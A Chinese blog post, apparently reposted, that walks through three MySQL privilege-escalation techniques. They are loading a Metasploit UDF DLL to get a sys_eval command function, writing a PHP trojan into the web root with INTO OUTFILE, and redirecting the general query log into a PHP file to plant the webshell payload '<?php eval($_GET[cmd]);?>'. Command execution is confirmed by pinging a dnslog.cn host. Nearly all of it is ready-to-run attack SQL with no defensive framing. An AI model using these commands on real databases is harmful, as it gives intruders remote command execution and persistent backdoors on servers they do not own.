暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

mysql数据库提权

第59号 2021-09-24
611

UDF提权

提权基础


1、mysql权限为root权限


2、secure_file_priv的值为空值,该值可通过执行mysql语句show globalvariables like 'secure%';查看



3、写入文件目录具备可写权限


提权过程


1、查看操作系统版本及plugin目录

查询操作系统版本showvariables like '%compile%';



查询plugin目录show variables like 'plugin%'; 



2、根据操作系统版本选择插件,当前服务器为64位操作系统版本,故可在kali中/usr/share/metasploit-framework/data/exploits/mysql导出64位的udf.dll到本地



3、创建lib\plugin目录

select '123' into dumpfile'C:\\phpstudy_pro\\Extensions\\MySQL5.7.262\\lib\\plugin::$INDEX_ALLOCATION'



成功创建



4、使用winhex获取udf.dll的16进制文本



5、在lib\plugin目录下生成udf.dll

select unhex(udf的十六进制文本) intodumpfile"C:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib\\plugin\\udf.dll";



6、创建函数执行命令

create function sys_eval returns string soname'udf.dll';



执行ping dnslog命令

select sys_eval('ping jo4lce.dnslog.cn');




mysql写入webshell提权

提权基础


1、mysql权限为root权限


2、secure_file_priv的值为空值,该值可通过执行mysql语句show globalvariables like 'secure%';查看



3、写入文件目录具备可写权限


4、目标服务器存在web应用,且知道web目录物理绝对路径


提权过程


1、目标服务器存在php应用,且已知应用的物理绝对路径为C:\phpstudy_pro\WWW,现可执行select php木马内容 into outfile‘C:\\phpstudy_pro\\WWW\\t111.php’




2、成功写入




mysql日志文件提权

提权基础


1、mysql权限为root权限


2、目标服务器存在web应用,且知道web目录物理绝对路径


提权过程


1、查看general_log 相关值show variables like ’%general%';



2、设置general_log的值为on  set global general_log = on;



3、设置general_log_file的值为web目录下的某个php文件

set globalgeneral_log_file = 'C:\\phpstudy_pro\\WWW\\a349.php';



4、执行select'<?php eval($_GET[cmd]);?>';



5、构造命令执行payloda,成功执行命令







文章转载自第59号,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论